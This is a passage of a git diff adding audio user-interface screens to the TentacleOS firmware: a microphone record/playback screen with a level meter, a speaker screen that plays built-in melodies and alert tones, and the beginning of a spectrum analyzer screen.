lv_label_set_text(s_ov_label, s_done_text); + if (s_scope_line) + lv_obj_add_flag(s_scope_line, LV_OBJ_FLAG_HIDDEN); + lv_timer_delete(t); + s_ov_timer = NULL; + lv_timer_t *h = lv_timer_create(overlay_hide_cb, OVERLAY_HIDE_MS, NULL); + lv_timer_set_repeat_count(h, 1); + return; + } + uint32_t elapsed = lv_tick_get() - s_ov_start; + if (s_ov_mode == OV_VU) { + int pct = (int)((int64_t)s_live_peak * 100 / VU_FULLSCALE_PEAK); + if (pct > 100) + pct = 100; + if (pct > s_vu_display) + s_vu_display = pct; + else + s_vu_display = (s_vu_display * 7) / 10; + lv_bar_set_value(s_ov_bar, s_vu_display, LV_ANIM_OFF); + scope_redraw(); + int remain = (int)((s_ov_total > elapsed) ? (s_ov_total - elapsed + 999) / 1000 : 0); + if (s_ov_label) { + int rms = s_live_rms < 1 ? 1 : s_live_rms; + int db = (int)(20.0f * log10f((float)rms / 32768.0f)); + char buf[40]; + snprintf(buf, sizeof(buf), "RECORDING %ds\n%d dBFS", remain, db); + lv_label_set_text(s_ov_label, buf); + } + } else { + int pct = (int)((uint64_t)elapsed * 100 / s_ov_total); + if (pct > 99) + pct = 99; + lv_bar_set_value(s_ov_bar, pct, LV_ANIM_OFF); + } +} + +static void overlay_show(const char *title, uint32_t total_ms, int mode) { + if (s_ov == NULL) { + s_ov = lv_obj_create(s_screen); + lv_obj_set_size(s_ov, LV_PCT(100), LV_PCT(100)); + lv_obj_center(s_ov); + lv_obj_remove_flag(s_ov, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_bg_color(s_ov, lv_color_black(), 0); + lv_obj_set_style_bg_opa(s_ov, LV_OPA_90, 0); + lv_obj_set_style_border_width(s_ov, 0, 0); + + lv_obj_t *box = lv_obj_create(s_ov); + lv_obj_set_size(box, 210, 132); + lv_obj_center(box); + lv_obj_remove_flag(box, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_bg_color(box, current_theme.bg_secondary, 0); + lv_obj_set_style_bg_opa(box, LV_OPA_COVER, 0); + lv_obj_set_style_border_color(box, lv_color_hex(ACCENT_GREEN), 0); + lv_obj_set_style_border_width(box, 2, 0); + lv_obj_set_style_radius(box, 10, 0); + lv_obj_set_style_pad_all(box, 10, 0); + + s_ov_label = lv_label_create(box); + lv_obj_set_style_text_color(s_ov_label, current_theme.text_main, 0); + lv_obj_set_style_text_align(s_ov_label, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_align(s_ov_label, LV_ALIGN_TOP_MID, 0, 2); + + s_scope_line = lv_line_create(box); + lv_obj_set_style_line_color(s_scope_line, ui_theme_get_accent(), 0); + lv_obj_set_style_line_width(s_scope_line, 2, 0); + lv_obj_set_pos(s_scope_line, 0, 0); + for (int j = 0; j < SCOPE_W; j++) { + s_scope_pts[j].x = 6 + j * 178 / (SCOPE_W - 1); + s_scope_pts[j].y = 40; + } + lv_line_set_points_mutable(s_scope_line, s_scope_pts, SCOPE_W); + + s_ov_bar = lv_bar_create(box); + lv_obj_set_size(s_ov_bar, 180, 16); + lv_obj_align(s_ov_bar, LV_ALIGN_BOTTOM_MID, 0, -4); + lv_bar_set_range(s_ov_bar, 0, 100); + lv_obj_set_style_bg_color(s_ov_bar, lv_color_hex(0x202028), LV_PART_MAIN); + lv_obj_set_style_bg_opa(s_ov_bar, LV_OPA_COVER, LV_PART_MAIN); + lv_obj_set_style_radius(s_ov_bar, 4, LV_PART_MAIN); + lv_obj_set_style_bg_color(s_ov_bar, lv_color_hex(ACCENT_GREEN), LV_PART_INDICATOR); + lv_obj_set_style_radius(s_ov_bar, 4, LV_PART_INDICATOR); + } + lv_label_set_text(s_ov_label, title); + lv_bar_set_value(s_ov_bar, 0, LV_ANIM_OFF); + + if (s_scope_line) { + if (mode == OV_VU) + lv_obj_remove_flag(s_scope_line, LV_OBJ_FLAG_HIDDEN); + else + lv_obj_add_flag(s_scope_line, LV_OBJ_FLAG_HIDDEN); + } + s_ov_mode = mode; + s_ov_start = lv_tick_get(); + s_ov_total = total_ms ? total_ms : 1; + s_op_done = false; + s_vu_display = 0; + if (s_ov_timer == NULL) + s_ov_timer = lv_timer_create(overlay_tick, OVERLAY_TICK_MS, NULL); +} + +static void op_done_cb(void *unused) { + (void)unused; + s_op_done = true; + s_state = ST_IDLE; +} + +static void finish(const char *done_text) { + strncpy(s_done_text, done_text, sizeof(s_done_text) - 1); + s_done_text[sizeof(s_done_text) - 1] = '\0'; + lv_async_call(op_done_cb, NULL); +} + +static void mic_level_cb(int peak, int rms, void *ctx) { + (void)ctx; + s_live_peak = peak; + s_live_rms = rms; + scope_push(peak); +} + +static void record_task(void *arg) { + (void)arg; + size_t got = 0; + audio_i2s_mic_record(s_rec_buf, s_rec_capacity, REC_RATE, &got, mic_level_cb, NULL); + normalize_pcm(s_rec_buf, got, s_rec_target); + s_rec_samples = got; + s_last_ms = (uint32_t)((uint64_t)got * 1000 / REC_RATE); + finish(got > 0 ? "Recorded!" : "Mic failed"); + s_busy = false; + vTaskDelete(NULL); +} + +static void play_task(void *arg) { + (void)arg; + do { + audio_i2s_play_pcm(s_rec_buf, s_rec_samples, REC_RATE); + } while (s_loop && !s_stop_req); + finish("Done"); + s_busy = false; + vTaskDelete(NULL); +} + +static void activate(int idx) { + if (s_busy) + return; + if (idx == ROW_REC) { + if (!ensure_buffer()) { + overlay_show("No memory", 1, OV_TIME); + finish("No memory"); + return; + } + s_live_peak = 0; + s_live_rms = 0; + scope_reset(); + s_rec_target = + REC_TARGET_MIN + menu_component_get_intensity(&s_menu, ROW_LEVEL) * REC_TARGET_STEP; + s_state = ST_RECORDING; + uint32_t dur_ms = (uint32_t)(s_rec_capacity / REC_RATE) * 1000 + 250; + overlay_show("RECORDING...", dur_ms, OV_VU); + s_busy = true; + if (xTaskCreate(record_task, "mic_rec", MIC_TASK_STACK, NULL, MIC_TASK_PRIORITY, NULL) != + pdPASS) { + s_busy = false; + s_state = ST_IDLE; + finish("Task error"); + } + } else if (idx == ROW_PLAY) { + if (s_rec_samples == 0) { + overlay_show("Record first", 1, OV_TIME); + finish("Record first"); + return; + } + s_loop = menu_component_get_toggle(&s_menu, ROW_LOOP); + s_stop_req = false; + s_state = ST_PLAYING; + uint32_t dur_ms = (uint32_t)(s_rec_samples / REC_RATE) * 1000 + 150; + overlay_show(s_loop ? "PLAYING (loop)" : "PLAYING...", dur_ms, OV_TIME); + s_busy = true; + if (xTaskCreate(play_task, "mic_play", MIC_TASK_STACK, NULL, MIC_TASK_PRIORITY, NULL) != + pdPASS) { + s_busy = false; + s_state = ST_IDLE; + finish("Task error"); + } + } +} + +static void refresh_status(void) { + if (s_status_lbl == NULL) + return; + char buf[40]; + if (s_state == ST_RECORDING) + snprintf(buf, sizeof(buf), "RECORDING..."); + else if (s_state == ST_PLAYING) + snprintf(buf, sizeof(buf), s_loop ? "PLAYING (loop)" : "PLAYING..."); + else if (s_rec_samples > 0) + snprintf(buf, + sizeof(buf), + "IDLE Last: %u.%us", + (unsigned)(s_last_ms / 1000), + (unsigned)((s_last_ms % 1000) / 100)); + else + snprintf(buf, sizeof(buf), "IDLE (no recording)"); + lv_label_set_text(s_status_lbl, buf); +} + +static void nav_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_nav_timer = NULL; + return; + } + if (ui_input_is_locked()) + return; + + bool up = ui_btn_up(), down = ui_btn_down(); + bool left = ui_btn_left(), right = ui_btn_right(); + bool ok = ok_button_is_down(), back = back_button_is_down(); + + if (s_ov != NULL) { + if (back && !s_btn_back_last && s_busy && s_state == ST_PLAYING) + s_stop_req = true; + s_btn_up_last = up; + s_btn_down_last = down; + s_btn_left_last = left; + s_btn_right_last = right; + s_btn_ok_last = ok; + s_btn_back_last = back; + return; + } + + refresh_status(); + + int sel = menu_component_get_selected(&s_menu); + if (down && !s_btn_down_last) + menu_component_next(&s_menu); + if (up && !s_btn_up_last) + menu_component_prev(&s_menu); + if (right && !s_btn_right_last && sel == ROW_LEVEL) + menu_component_intensity_inc(&s_menu, ROW_LEVEL); + if (left && !s_btn_left_last && sel == ROW_LEVEL) + menu_component_intensity_dec(&s_menu, ROW_LEVEL); + if (ok && !s_btn_ok_last) { + if (sel == ROW_LOOP) + menu_component_toggle_item(&s_menu, ROW_LOOP); + else + activate(sel); + } + if (back && !s_btn_back_last) + ui_switch_screen(SCREEN_SETTINGS); + + s_btn_up_last = up; + s_btn_down_last = down; + s_btn_left_last = left; + s_btn_right_last = right; + s_btn_ok_last = ok; + s_btn_back_last = back; +} + +void ui_micrec_open(void) { + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + s_ov = NULL; + s_ov_label = NULL; + s_ov_bar = NULL; + s_scope_line = NULL; + s_ov_timer = NULL; + s_state = ST_IDLE; + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + + s_menu = menu_component_create(s_screen, "Mic -> Speaker", "/assets/icons/volume_icon.bin"); + menu_component_add_intensity(&s_menu, NULL, "Rec Level", 3); + menu_component_add_item(&s_menu, NULL, "Record"); + menu_component_add_item(&s_menu, NULL, "Play"); + menu_component_add_toggle(&s_menu, NULL, "Loop", false); + + s_status_lbl = lv_label_create(s_screen); + lv_label_set_text(s_status_lbl, "IDLE (no recording)"); + lv_obj_set_style_text_color(s_status_lbl, current_theme.text_main, 0); + lv_obj_set_style_text_opa(s_status_lbl, LV_OPA_70, 0); + lv_obj_set_style_text_font(s_status_lbl, &lv_font_montserrat_12, 0); + lv_obj_align(s_status_lbl, LV_ALIGN_BOTTOM_MID, 0, -4 - MENU_COMP_FOOTER_H); + refresh_status(); + + if (s_nav_timer == NULL) + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_MS, NULL); + + ui_screen_load(s_screen); + ESP_LOGI(TAG, "mic-rec menu opened"); +} diff --git a/firmware_p4/components/Applications/ui/screens/audio/speaker_ui.c b/firmware_p4/components/Applications/ui/screens/audio/speaker_ui.c new file mode 100644 index 000000000..35896cfd2 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/audio/speaker_ui.c @@ -0,0 +1,579 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "speaker_ui.h" + +#include + +#include "audio_i2s.h" +#include "esp_log.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" +#include "lvgl.h" + +#include "buttons_gpio.h" +#include "menu_component_ui.h" +#include "ui_manager.h" +#include "ui_theme.h" + +static const char *TAG = "SPEAKER_UI"; + +#define NAV_TIMER_MS 50 +#define VOLUME_ROW 0 +#define CATEGORY_ROW 1 +#define SONG_ROW_BASE 2 +#define SND_AMP 0.75f +#define MAX_SEQ 64 +#define N_EQ 10 +#define SPK_TASK_STACK 4096 +#define SPK_TASK_PRIORITY 4 +#define NP_TIMER_MS 33 +#define MAX_SONG_ROWS 10 +#define COUNT(a) ((int)(sizeof(a) / sizeof((a)[0]))) + +typedef struct { + const char *name; + const audio_note_t *notes; + uint16_t count; + uint8_t tempo_pct; +} speaker_song_t; + +typedef struct { + const char *name; + const speaker_song_t *songs; + int count; +} speaker_cat_t; + +static const audio_note_t M_MARIO[] = { + {659, 120}, + {0, 60}, + {659, 120}, + {0, 120}, + {659, 120}, + {0, 120}, + {523, 120}, + {659, 120}, + {0, 60}, + {784, 160}, + {0, 320}, + {392, 160}, +}; +static const audio_note_t M_TETRIS[] = { + {659, 300}, {494, 150}, {523, 150}, {587, 300}, {523, 150}, {494, 150}, {440, 300}, + {440, 150}, {523, 150}, {659, 300}, {587, 150}, {523, 150}, {494, 420}, {523, 150}, + {587, 300}, {659, 300}, {523, 300}, {440, 360}, {0, 120}, +}; +static const audio_note_t M_ZELDA[] = { + {784, 130}, + {740, 130}, + {622, 130}, + {440, 130}, + {415, 130}, + {659, 130}, + {831, 130}, + {1047, 440}, +}; +static const audio_note_t M_COIN[] = {{988, 90}, {1319, 520}}; +static const audio_note_t M_POWERUP[] = { + {523, 60}, + {659, 60}, + {784, 60}, + {1047, 60}, + {1319, 60}, + {1047, 60}, + {1175, 140}, +}; +static const audio_note_t M_LASER[] = { + {2600, 40}, + {2100, 40}, + {1600, 40}, + {1100, 40}, + {700, 60}, + {400, 80}, +}; + +static const audio_note_t M_ODE[] = { + {659, 200}, + {659, 200}, + {698, 200}, + {784, 200}, + {784, 200}, + {698, 200}, + {659, 200}, + {587, 200}, + {523, 200}, + {523, 200}, + {587, 200}, + {659, 200}, + {659, 280}, + {587, 360}, +}; +static const audio_note_t M_ELISE[] = { + {659, 160}, + {622, 160}, + {659, 160}, + {622, 160}, + {659, 160}, + {494, 160}, + {587, 160}, + {523, 160}, + {440, 360}, +}; +static const audio_note_t M_TWINKLE[] = { + {523, 300}, + {523, 300}, + {784, 300}, + {784, 300}, + {880, 300}, + {880, 300}, + {784, 500}, + {698, 300}, + {698, 300}, + {659, 300}, + {659, 300}, + {587, 300}, + {587, 300}, + {523, 500}, +}; +static const audio_note_t M_MINUET[] = { + {587, 380}, + {392, 190}, + {440, 190}, + {494, 190}, + {523, 190}, + {587, 380}, + {392, 380}, + {392, 380}, +}; + +static const audio_note_t M_BEEP1K[] = {{1000, 350}}; +static const audio_note_t M_BEEP2K[] = {{2000, 350}}; +static const audio_note_t M_CHIME[] = {{523, 140}, {659, 140}, {784, 240}}; +static const audio_note_t M_SIREN[] = { + {600, 220}, + {900, 220}, + {600, 220}, + {900, 220}, + {600, 220}, + {900, 220}, + {600, 220}, + {900, 220}, +}; +static const audio_note_t M_ALARM[] = { + {2500, 80}, + {0, 60}, + {2500, 80}, + {0, 60}, + {2500, 80}, + {0, 60}, + {2500, 80}, + {0, 60}, + {2500, 80}, + {0, 60}, + {2500, 80}, + {0, 60}, +}; +static const audio_note_t M_SOS[] = { + {800, 100}, + {0, 90}, + {800, 100}, + {0, 90}, + {800, 100}, + {0, 260}, + {800, 320}, + {0, 90}, + {800, 320}, + {0, 90}, + {800, 320}, + {0, 260}, + {800, 100}, + {0, 90}, + {800, 100}, + {0, 90}, + {800, 100}, + {0, 260}, +}; +static const audio_note_t M_NOTIFY[] = {{880, 120}, {1175, 320}}; + +#define SONG(n, arr, t) {n, arr, (uint16_t)COUNT(arr), t} +static const speaker_song_t CHIPTUNE[] = { + SONG("Mario", M_MARIO, 100), + SONG("Tetris", M_TETRIS, 100), + SONG("Zelda Secret", M_ZELDA, 100), + SONG("Coin", M_COIN, 100), + SONG("Power Up", M_POWERUP, 100), + SONG("Laser", M_LASER, 100), +}; +static const speaker_song_t CLASSICAL[] = { + SONG("Ode to Joy", M_ODE, 100), + SONG("Fur Elise", M_ELISE, 100), + SONG("Twinkle", M_TWINKLE, 100), + SONG("Minuet", M_MINUET, 100), +}; +static const speaker_song_t ALERTS[] = { + SONG("Beep 1kHz", M_BEEP1K, 100), + SONG("Beep 2kHz", M_BEEP2K, 100), + SONG("Chime", M_CHIME, 100), + SONG("Siren", M_SIREN, 100), + SONG("Alarm", M_ALARM, 100), + SONG("SOS", M_SOS, 100), + SONG("Notify", M_NOTIFY, 100), +}; +static const speaker_cat_t CATS[] = { + {"Chiptunes", CHIPTUNE, COUNT(CHIPTUNE)}, + {"Classical", CLASSICAL, COUNT(CLASSICAL)}, + {"Alerts", ALERTS, COUNT(ALERTS)}, +}; +#define NUM_CATS COUNT(CATS) + +static lv_obj_t *s_screen = NULL; +static menu_component_t s_menu; +static lv_timer_t *s_nav_timer = NULL; +static int s_category = 0; + +static lv_obj_t *s_nowplaying = NULL; +static lv_obj_t *s_eq[N_EQ]; +static lv_obj_t *s_progress = NULL; +static lv_obj_t *s_np_title = NULL; +static lv_obj_t *s_np_count = NULL; +static lv_timer_t *s_np_timer = NULL; +static float s_eq_disp[N_EQ]; + +static const speaker_song_t *s_active = NULL; +static volatile bool s_busy = false; +static volatile bool s_playing = false; +static volatile bool s_cancel = false; +static volatile int s_cur_idx = 0; +static volatile int s_note_count = 1; +static volatile uint16_t s_cur_freq = 0; + +static bool s_btn_up_last, s_btn_down_last, s_btn_left_last, s_btn_right_last; +static bool s_btn_ok_last, s_btn_back_last; +static bool s_np_ok_last, s_np_back_last; + +static void apply_volume(int level) { + if (level < 0) + level = 0; + if (level > INTENSITY_BAR_STEPS) + level = INTENSITY_BAR_STEPS; + audio_i2s_set_volume((uint8_t)(level * 100 / INTENSITY_BAR_STEPS)); +} + +static int freq_to_band(uint16_t f) { + const float lo = 200.0f, hi = 3000.0f; + float ff = (float)f; + if (ff < lo) + ff = lo; + if (ff > hi) + ff = hi; + int b = (int)(logf(ff / lo) / logf(hi / lo) * (float)(N_EQ - 1) + 0.5f); + if (b < 0) + b = 0; + if (b >= N_EQ) + b = N_EQ - 1; + return b; +} + +static bool progress_cb(int i, int n, uint16_t freq, void *ctx) { + (void)ctx; + s_cur_idx = i; + s_note_count = n; + s_cur_freq = freq; + return !s_cancel; +} + +static void speaker_task(void *arg) { + (void)arg; + const speaker_song_t *s = s_active; + if (s != NULL && s->notes != NULL) { + int n = s->count; + if (n > MAX_SEQ) + n = MAX_SEQ; + audio_note_t seq[MAX_SEQ]; + uint8_t t = s->tempo_pct ? s->tempo_pct : 100; + for (int i = 0; i < n; i++) { + seq[i].freq_hz = s->notes[i].freq_hz; + uint32_t d = (uint32_t)s->notes[i].dur_ms * t / 100; + seq[i].dur_ms = (uint16_t)(d > 0 ? d : 1); + } + s_note_count = n; + audio_i2s_play_song_cb(seq, n, SND_AMP, progress_cb, NULL); + } + s_cur_freq = 0; + s_playing = false; + s_busy = false; + vTaskDelete(NULL); +} + +static lv_obj_t *make_eq_bar(lv_obj_t *parent) { + lv_obj_t *bar = lv_obj_create(parent); + lv_obj_remove_flag(bar, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_flex_grow(bar, 1); + lv_obj_set_height(bar, lv_pct(3)); + lv_obj_set_style_radius(bar, 2, 0); + lv_obj_set_style_border_width(bar, 0, 0); + lv_obj_set_style_pad_all(bar, 0, 0); + lv_obj_set_style_bg_opa(bar, LV_OPA_COVER, 0); + lv_obj_set_style_bg_color(bar, lv_color_hex(0xFF5252), 0); + lv_obj_set_style_bg_grad_color(bar, lv_color_hex(0x00E676), 0); + lv_obj_set_style_bg_grad_dir(bar, LV_GRAD_DIR_VER, 0); + return bar; +} + +static void np_timer_cb(lv_timer_t *t); +static void nav_timer_cb(lv_timer_t *t); + +static void nowplaying_open(const speaker_song_t *song) { + if (s_nowplaying != NULL) { + lv_obj_del(s_nowplaying); + s_nowplaying = NULL; + } + for (int i = 0; i < N_EQ; i++) + s_eq_disp[i] = 0.0f; + s_np_ok_last = false; + s_np_back_last = false; + + s_nowplaying = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_nowplaying, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_nowplaying, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_nowplaying, LV_OBJ_FLAG_SCROLLABLE); + + lv_obj_t *now = lv_label_create(s_nowplaying); + lv_label_set_text(now, "NOW PLAYING"); + lv_obj_set_style_text_color(now, current_theme.text_main, 0); + lv_obj_set_style_text_opa(now, LV_OPA_50, 0); + lv_obj_set_style_text_font(now, &lv_font_montserrat_12, 0); + lv_obj_align(now, LV_ALIGN_TOP_MID, 0, 10); + + s_np_title = lv_label_create(s_nowplaying); + lv_obj_set_width(s_np_title, lv_pct(86)); + lv_label_set_long_mode(s_np_title, LV_LABEL_LONG_MODE_SCROLL_CIRCULAR); + lv_label_set_text(s_np_title, song->name); + lv_obj_set_style_text_color(s_np_title, ui_theme_get_accent(), 0); + lv_obj_set_style_text_font(s_np_title, &lv_font_montserrat_14, 0); + lv_obj_set_style_text_align(s_np_title, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_align(s_np_title, LV_ALIGN_TOP_MID, 0, 32); + + lv_obj_t *eqc = lv_obj_create(s_nowplaying); + lv_obj_remove_flag(eqc, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_bg_opa(eqc, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(eqc, 0, 0); + lv_obj_set_style_pad_all(eqc, 4, 0); + lv_obj_set_style_pad_column(eqc, 4, 0); + lv_obj_set_size(eqc, lv_pct(86), lv_pct(40)); + lv_obj_align(eqc, LV_ALIGN_CENTER, 0, -6); + lv_obj_set_flex_flow(eqc, LV_FLEX_FLOW_ROW); + lv_obj_set_flex_align(eqc, LV_FLEX_ALIGN_SPACE_EVENLY, LV_FLEX_ALIGN_END, LV_FLEX_ALIGN_END); + for (int i = 0; i < N_EQ; i++) + s_eq[i] = make_eq_bar(eqc); + + s_progress = lv_bar_create(s_nowplaying); + lv_obj_set_size(s_progress, lv_pct(86), 8); + lv_obj_align(s_progress, LV_ALIGN_CENTER, 0, 60); + lv_bar_set_range(s_progress, 0, song->count > 0 ? song->count : 1); + lv_bar_set_value(s_progress, 0, LV_ANIM_OFF); + + s_np_count = lv_label_create(s_nowplaying); + lv_label_set_text(s_np_count, "0 / 0"); + lv_obj_set_style_text_color(s_np_count, current_theme.text_main, 0); + lv_obj_set_style_text_opa(s_np_count, LV_OPA_70, 0); + lv_obj_set_style_text_font(s_np_count, &lv_font_montserrat_12, 0); + lv_obj_align(s_np_count, LV_ALIGN_CENTER, 0, 80); + + lv_obj_t *hint = lv_label_create(s_nowplaying); + lv_label_set_text(hint, "OK / BACK = stop"); + lv_obj_set_style_text_color(hint, current_theme.text_main, 0); + lv_obj_set_style_text_opa(hint, LV_OPA_60, 0); + lv_obj_set_style_text_font(hint, &lv_font_montserrat_12, 0); + lv_obj_align(hint, LV_ALIGN_BOTTOM_MID, 0, -8); + + s_np_timer = lv_timer_create(np_timer_cb, NP_TIMER_MS, NULL); + ui_screen_load(s_nowplaying); +} + +static void np_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_nowplaying) { + lv_timer_delete(t); + s_np_timer = NULL; + if (s_nowplaying != NULL) { + lv_obj_del(s_nowplaying); + s_nowplaying = NULL; + } + return; + } + if (!ui_input_is_locked()) { + bool ok = ok_button_is_down(); + bool back = back_button_is_down(); + if ((ok && !s_np_ok_last) || (back && !s_np_back_last)) + s_cancel = true; + s_np_ok_last = ok; + s_np_back_last = back; + } + + if (!s_playing) { + lv_timer_delete(t); + s_np_timer = NULL; + if (s_nowplaying != NULL) { + lv_obj_del(s_nowplaying); + s_nowplaying = NULL; + } + ui_screen_load(s_screen); + if (s_nav_timer == NULL) + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_MS, NULL); + return; + } + + uint16_t f = s_cur_freq; + int band = (f > 0) ? freq_to_band(f) : -1; + for (int i = 0; i < N_EQ; i++) { + float target = 0.0f; + if (band >= 0) { + int d = i - band; + if (d < 0) + d = -d; + target = (d == 0) ? 1.0f : (d == 1) ? 0.55f : (d == 2) ? 0.25f : 0.0f; + } + if (target > s_eq_disp[i]) + s_eq_disp[i] = target; + else + s_eq_disp[i] *= 0.82f; + int h = (int)(3.0f + s_eq_disp[i] * 94.0f); + lv_obj_set_height(s_eq[i], lv_pct(h)); + } + + int idx = s_cur_idx, cnt = s_note_count; + lv_bar_set_value(s_progress, idx + 1, LV_ANIM_OFF); + lv_label_set_text_fmt(s_np_count, "%d / %d", idx + 1, cnt); +} + +static void play_song_now(const speaker_song_t *song) { + if (song == NULL || s_busy) + return; + s_active = song; + s_busy = true; + s_cancel = false; + s_playing = true; + s_cur_idx = 0; + s_cur_freq = 0; + s_note_count = song->count > 0 ? song->count : 1; + nowplaying_open(song); + if (xTaskCreate(speaker_task, "spk_play", SPK_TASK_STACK, NULL, SPK_TASK_PRIORITY, NULL) != + pdPASS) { + s_busy = false; + s_playing = false; + } +} + +static void rebuild_async(void *p) { + (void)p; + ui_speaker_open(); + menu_component_select(&s_menu, CATEGORY_ROW); +} + +static void cycle_category(int dir) { + s_category = (s_category + dir + NUM_CATS) % NUM_CATS; + lv_async_call(rebuild_async, NULL); +} + +static void nav_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_nav_timer = NULL; + return; + } + if (ui_input_is_locked()) + return; + + bool up = ui_btn_up(), down = ui_btn_down(); + bool left = ui_btn_left(), right = ui_btn_right(); + bool ok = ok_button_is_down(), back = back_button_is_down(); + + int sel = menu_component_get_selected(&s_menu); + + if (down && !s_btn_down_last) + menu_component_next(&s_menu); + if (up && !s_btn_up_last) + menu_component_prev(&s_menu); + + if (right && !s_btn_right_last) { + if (sel == VOLUME_ROW) { + menu_component_intensity_inc(&s_menu, VOLUME_ROW); + apply_volume(menu_component_get_intensity(&s_menu, VOLUME_ROW)); + } else if (sel == CATEGORY_ROW) { + cycle_category(+1); + } else { + const speaker_cat_t *c = &CATS[s_category]; + int si = sel - SONG_ROW_BASE; + if (si >= 0 && si < c->count) + play_song_now(&c->songs[si]); + } + } + if (left && !s_btn_left_last) { + if (sel == VOLUME_ROW) { + menu_component_intensity_dec(&s_menu, VOLUME_ROW); + apply_volume(menu_component_get_intensity(&s_menu, VOLUME_ROW)); + } else if (sel == CATEGORY_ROW) { + cycle_category(-1); + } + } + if (ok && !s_btn_ok_last) { + if (sel == CATEGORY_ROW) { + cycle_category(+1); + } else if (sel >= SONG_ROW_BASE) { + const speaker_cat_t *c = &CATS[s_category]; + int si = sel - SONG_ROW_BASE; + if (si >= 0 && si < c->count) + play_song_now(&c->songs[si]); + } + } + if (back && !s_btn_back_last) + ui_switch_screen(SCREEN_SETTINGS); + + s_btn_up_last = up; + s_btn_down_last = down; + s_btn_left_last = left; + s_btn_right_last = right; + s_btn_ok_last = ok; + s_btn_back_last = back; +} + +void ui_speaker_open(void) { + if (s_nav_timer != NULL) { + lv_timer_delete(s_nav_timer); + s_nav_timer = NULL; + } + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + + s_menu = menu_component_create(s_screen, "Speaker", "/assets/icons/volume_icon.bin"); + menu_component_add_intensity(&s_menu, NULL, "Volume", 3); + apply_volume(3); + menu_component_add_selector(&s_menu, NULL, "Category", CATS[s_category].name); + const speaker_cat_t *c = &CATS[s_category]; + int n = c->count > MAX_SONG_ROWS ? MAX_SONG_ROWS : c->count; + for (int i = 0; i < n; i++) + menu_component_add_item(&s_menu, NULL, c->songs[i].name); + + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_MS, NULL); + ui_screen_load(s_screen); + ESP_LOGI(TAG, "speaker menu opened (category=%s)", c->name); +} diff --git a/firmware_p4/components/Applications/ui/screens/audio/spectrum_ui.c b/firmware_p4/components/Applications/ui/screens/audio/spectrum_ui.c new file mode 100644 index 000000000..6cbf4c63b --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/audio/spectrum_ui.c @@ -0,0 +1,382 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "spectrum_ui.h" + +#include +#include + +#include "esp_dsp.h" +#include "esp_log.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" +#include "lvgl.h" + +#include "audio_i2s.h" +#include "buttons_gpio.h" +#include "ui_manager.h" +#include "ui_theme.h" + +static const char *TAG = "SPECTRUM_UI"; + +#define SAMPLE_RATE 16000 +#define FFT_N 512 +#define N_BARS 24 +#define BIN_LO 2 +#define BIN_HI 200 +#define GMAX_FLOOR 6000.0f +#define NOISE_GATE 4000.0f +#define GMAX_DECAY 0.95f +#define CAP_H 3 +#define HOLD_FRAMES 12 +#define PEAK_FALL 0.015f +#define CLIP_SAMPLE 32000 +#define PEAK_DB_FLOOR (-60.0f) +#define TASK_STOP_RETRIES 40 +#define TASK_STOP_DELAY_MS 10 +#define ANIM_TIMER_MS 33 +#define SPECTRUM_TASK_STACK 4096 +#define SPECTRUM_TASK_PRIORITY 4 +#define SPECTRUM_TASK_CORE 1 + +static lv_obj_t *s_screen = NULL; +static lv_obj_t *s_plot = NULL; +static lv_obj_t *s_bars[N_BARS]; +static lv_obj_t *s_caps[N_BARS]; +static lv_obj_t *s_db_label = NULL; +static lv_obj_t *s_clip_label = NULL; +static lv_timer_t *s_anim_timer = NULL; + +static volatile float s_bands[N_BARS]; +static volatile float s_peak_db = PEAK_DB_FLOOR; +static volatile bool s_clip = false; +static volatile bool s_running = false; +static volatile bool s_task_active = false; +static float s_gmax = GMAX_FLOOR; +static float s_disp[N_BARS]; +static float s_peak[N_BARS]; +static uint8_t s_hold[N_BARS]; +static int s_plot_h = 100; +static bool s_back_last = false; + +static void 